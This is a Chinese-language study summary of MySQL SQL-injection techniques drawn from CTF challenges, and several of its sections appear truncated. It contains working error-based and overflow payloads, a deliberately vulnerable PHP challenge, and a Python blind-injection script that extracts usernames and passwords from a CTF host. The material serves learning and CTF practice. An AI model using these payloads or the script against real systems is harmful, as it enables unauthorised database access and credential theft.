站点图标 IDC铺

关于sql注入姿势总结(mysql)

前言

学习了sql注入很长时间,但是仍然没有系统的了解过,这次总结一波,用作学习的资料。

从注入方法分:基于报错、基于布尔盲注、基于时间盲注、联合查询、堆叠注入、内联查询注入、宽字节注入

联合查询

即多表之间的查询

联合查询分类

详情查看联合查询,在SQL注入中多用 union即结果集查询

union各种姿势

常规注入

#判断注入类型 -数字或者字符
#猜测字段数
#获取当前数据库
#获取数据库权限和数据库版本
#获取表名和字段名

sql写入新的密码

[GXYCTF2019]BabySQli

无列名注入

即通过无列名查询构造一个虚拟表,在构造此表的同时查询其中的数据。

创建虚拟表

更改列名

查询第一列数据,如果没有后面的 n,会报错

[SWPU2019]Web1

知识点:

[GYCTF2020]Ezsqli

考点

详情参考https://www.gem-love.com/ctf/1782.html

ciscn21-web sql
sys.schema_table_statistics_with_buffer
sys.x$schema_table_statistics_with_buffer
sys.schema_auto_increment_columns
sys.x$ps_schema_table_statistics_io
mysql.innodb_table_stats (此表中库名字段是 database_name,而非 table_schema)
mysql.innodb_index_stats
mysql> select _ from (select _ from users a join users b)c;#users是表名,
ERROR 1060 (42S21): Duplicate column name \'id\'
mysql> select _ from (select _ from users a join users b using(id))c;
ERROR 1060 (42S21): Duplicate column name \'username\'
mysql> select _ from (select _ from users a join users b using(id,username))c;
ERROR 1060 (42S21): Duplicate column name \'password\'

本地测试可以爆列名

多参数注入

多参数情况很常见,比如登录框就有两个输入点,有username和passwd,猜测sql语句:select * from user where username=\'username\' and passwd=\'passwd\'

很明显有注入,不过题目总是千变万化,灵活变换。就看看遇到过的题目吧。。。

[NCTF2019]SQLi

本地测试也可

[CISCN2019 总决赛 Day2 Web1]Easyweb
<?php
include "config.php";

$id=isset($_GET["id"])?$_GET["id"]:"1";
$path=isset($_GET["path"])?$_GET["path"]:"";

$id=addslashes($id);
$path=addslashes($path);

$id=str_replace(array("\\0","%00","\\\'","\'"),"",$id);
$path=str_replace(array("\\0","%00","\\\'","\'"),"",$path);

$result=mysqli_query($con,"select * from images where id=\'{$id}\' or path=\'{$path}\'");
$row=mysqli_fetch_array($result,MYSQLI_ASSOC);

$path="./" . $row["path"];
header("Content-Type: image/jpeg");
readfile($path);
#!/usr/local/bin/python3
# coding=utf-8

import requests

url = "http://1b3b2f24-e910-4ad0-8474-330a97842901.node3.buuoj.cn/image.php"
flag = ""
for i in range(0, 100):
    high = 127
    low = 32
    mid = (high + low) // 2
    while low < high:
        # payload = " or id=if(ascii(substr((database()),{},1))>mid,1,0)#".format(i,mid)

        # payload = "or id=if(ascii(substr((select group_concat(table_name) from information_schema.tables where table_schema=database()),{},1))>{},1,4)#".format(i, mid)
        # payload = "or id=if(ascii(substr((select group_concat(column_name) from information_schema.columns where table_name=0x7573657273),{},1))>{},1,4)#".format(i, mid)
        payload = "or id=if(ascii(substr((select group_concat(username,password) from users),{},1))>{},1,4)#".format(
            i, mid
        )

        params = {"id": "\\0", "path": payload}
        response = requests.get(url, params=params)
        if len(response.text) > 10000:
            low = mid + 1
        else:
            high = mid
        mid = (high + low) // 2

    flag += chr(int(mid))
    print(flag)

布尔盲注(兼时间盲注)

即根据注入信息返回true or fales,通常是两种不同的页面回显,没有任何报错信息,如果没有回显,则可以考虑使用时间注入

布尔常用函数

length(str):返回str字符串的长度。
substr(str, pos, len):将str从pos位置开始截取len长度的字符进 行返回。注意这里的pos位置是从1开始的,不是数组的0开始
mid(str,pos,len):跟上面的一样,截取字符串
ascii(str):返回字符串str的最左面字符的ASCII代码值。
ord(str):同上,返回ascii码
if(a,b,c) :a为条件,a为true,返回b,否则返回c,如if(1>2,1,0),返回0
regexp: 正则表达式

报错注入

报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。

常规注入

常用函数

1.floor() 
select * from test where id=1 and (select 1 from (select count(*),concat(user(),floor(rand(0)*2))x from information_schema.tables group by x)a);

2.extractvalue() 
select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));
#extractvalue() 函数不支持低版本 mysql
#extractvalue() 函数最多查询32位

3.updatexml()
select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

其中floor()语句报错,是利⽤floor(),count(),group() by冲突报错,当这三个函数在特定情况⼀起使⽤产⽣的 错误。

extractvalue注⼊的原理:依旧如同updatexml⼀样,extract的第⼆个参数要求是xpath格式字符串,⽽我们输⼊的并不是。所以报错。

0x7e="~"
\'~\'可以换成\'#\'、\'$\'等不满足xpath格式的字符

整数溢出报错

两种方法,exp函数,上限是exp(709),再加一就会溢出浮点数上界报错,

还有一种是学长的~0+1,对0取反直接拿到最大整数

假设查询语句 (select*from(select user())x),查询正确,取反之后就是1,可以和替换上面的

退出移动版